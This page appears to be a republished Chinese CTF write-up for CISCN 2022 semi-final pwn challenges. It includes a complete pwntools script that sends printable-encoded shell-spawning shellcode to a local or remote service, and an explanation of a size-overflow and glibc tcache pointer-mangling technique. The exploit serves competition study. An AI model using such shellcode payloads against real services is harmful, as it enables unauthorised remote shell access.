ciscn2022-线上-半决-pwn

这篇具有很好参考价值的文章主要介绍了ciscn2022-线上-半决-pwn。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

normal_login

一个简单的可见字符shellcode
用杭电师傅的工具直接出shellcode,直接写进出就可以拿到shell。
epx:

# coding=UTF-8
from pwn import *
from ae64 import *

filename = './login'
libc_name = './libc-2.33.so'

context.log_level = 'debug'
context.terminal = ['tmux','split','-vp','80']
context.binary = filename

elf = ELF(filename)
libc = ELF(libc_name)


ip = '123.56.111.202'
port =  28076
debug = 1
if debug:
    p = process(filename)
else:
    p = remote(ip,port)

shellcode = asm(shellcraft.sh())
enc_shellcode = AE64().encode(shellcode,'rdx')
print(enc_shellcode)

payload = b"opt:1\nmsg:ro0tt\n\r\n"
p.sendafter(">>> ", payload)
payload = b"opt:2\nmsg:" + enc_shellcode + b"b\n\r\n"
p.sendafter(">>> ", payload)

p.interactive()

newest_note

number是4个字节,后面malloc的参数也是4个字节,可以利用溢出使number很大,然后malloc申请的大小也在一个合理的范围之内。

ciscn2022-线上-半决-pwn

malloc函数的实现会根据分配内存的size来决定使用哪个分配函数,当size小于等于128KB时,调用brk分配;当size大于128KB时,调用mmap分配内存, mmap 分配的内存与 libc 之前存在固定的偏移。

然后还需要注意glibc-2.32之后

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
   
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free.  */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

e->next不再指向tcache头指针,而是指向了经PROTECT_PTR处理过的指针,查看PROTECT_PTR定义:

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

然后看tcache_get()函数:文章来源地址https://www.toymoban.com/news/detail-462177.html

tcache_get (size_t tc_idx)
{
   
    tcache_entry *e = tcache->entries[tc_idx];

    if (__glibc_unlikely (!aligned_OK (e)))
        malloc_printerr ("malloc(): unaligned tcache chunk detected");

    tcache->entries[tc_idx] = REVEAL_PTR (e->next);
    --(tcache->counts[tc_idx])

到了这里,关于ciscn2022-线上-半决-pwn的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 一个线上问题引发的思考——Elasticsearch 8.X 如何实现更精准的检索?

    ——问题来自:死磕Elasticsearch 知识星球微信群 这个问题涉及到业务细节,至今没有定论。不过,该问题引发了我的思考。 我们使用 Elasticsearch 到底用来做什么? 除了 Elasticsearch 早已不是10年前因“菜谱”而火出技术圈的搜索引擎组件,它早已不是“单兵作战”,而是 ELKB

    2023年04月08日
    浏览(36)
  • 一个线上全文索引BUG的排查:关于类阿拉件数字的分词与检索

    说到全文检索的分词,多半讲到的是中(日韩)文分词,少有英文等拉丁文系语言,因为英语单词天然就是分词的。 但更少讲到阿拉伯数字。比如金额,手机号码,座机号码等等。 以下不是传统的从0开始针对mysql全文索引前世今生讲起。 我更喜欢从一个小问题入手,见缝插针

    2024年02月05日
    浏览(69)
  • 【腾讯云 TDSQL-C Serverless 产品体验】 使用 Python 和 TDSQL-C 实现一个线上图书管理系统

    TDSOL是腾讯云自家研发的超级厉害的云原生关系型数据库!它将传统数据库、云计算和最新的硬件技术融合在一起,完美兼容MySQL,并为用户提供了绝对牛逼的弹性、高性能、高可用、高可靠和安全的数据库服务。你绝对想不到,它的吞吐量可以达到超过百万次查询每秒!而且

    2024年02月10日
    浏览(38)
  • 设计一个AI Faas API 系统,支持自然语言生成SQL,并查询数据源数据返回表数据,API开发完成即可线上使用

    设计一个AI Faas API 系统,支持自然语言生成SQL,并查询数据源数据返回表数据。同时,支持API开发完成即可线上使用。给我详细系统设计说明和完整的Golang代码,解释说明。5000字以上。 An AI Faas API system is designed to support Natural language generation to generate SQL, query data source data and

    2024年02月07日
    浏览(53)
  • 第十六届CISCN复现----MISC

     下载附件,发现是一个文件名为modus的压缩包,解压后是一个pcap文件,用wireshark打开 文件名modus,已经提示了工控流量,很多情况下都是和TCP协议结合起来的 工控CTF之协议分析1——Modbus_ctf modbus_Shadow丶S的博客-CSDN博客 直接追踪TCP  发现竟然出现了=,条件反射联想到base密码

    2024年02月11日
    浏览(37)
  • [CISCN 2019初赛]Love Math

    感慨自己实力不够,心浮气躁根本做不来难题。难得这题对我还很有吸引力,也涉及很多知识。只能说我是受益匪浅,总的来说加油吧ctfer。 利用php动态函数的特性 利用php中的数学函数实现命令执行 利用php7的特性,就是可以用变量执行函数 打开题目,源代码 简单分析一下

    2024年02月10日
    浏览(50)
  • 第十六届CISCN复现MISC——国粹

    不是我说,我当时比赛的时候,在那里叭叭叭的数的老用心了结果他是一道非常不常规的图片密码题,又是一种我没见过的题型  看了一些大佬的解题,知道他是一个坐标类型的图片拼凑 发现很多都提到了opencv,又是一个知识点盲区 浅浅了解一下 opencv: OpenCV是一个基于Ap

    2024年02月11日
    浏览(47)
  • ciscn_2019_s_9

    32位,啥也没开,开心愉悦写shellcode 程序主要在这里,栈溢出,写shellcode进去然后执行,发现有个hint 这里有个jmp,ok好办了 思路 写shellcode,然后用jmp跳转到shellcode的头,然后执行shellcode 因为栈只有0x20大小,所以不能使用pwntools生成的shellcode 这个是0x17大小的shellcode,平时收

    2024年02月07日
    浏览(60)
  • CISCN2023 unzip软链接getshell

    前言 在CTF与渗透实战中总是会出现文件上传的问题,而文件上传有两大决定性的因素 能上传 能解析、执行 文件上传不一定是为了getshell,而上传的文件种类也是千奇百怪,目前来说,文件上传比较多的是pdf、压缩包。 这个示例题目是2023年的CISCN的web题里的一道,原理就是服

    2024年02月09日
    浏览(38)
  • 【简单算法】2022SCUACM集训队冬季选拔全题解

    没想到现在冬季选拔都这么难了…… 题目传送门 本文juejin:https://juejin.cn/post/7222531019319722039/ 本文CSDN:https://blog.csdn.net/hans774882968/article/details/130184851 作者:hans774882968以及hans774882968以及hans774882968 参考:https://www.cnblogs.com/ycx-akioi/p/AtCoder-abc165.html 最长严格上升子序列树上版本

    2023年04月16日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包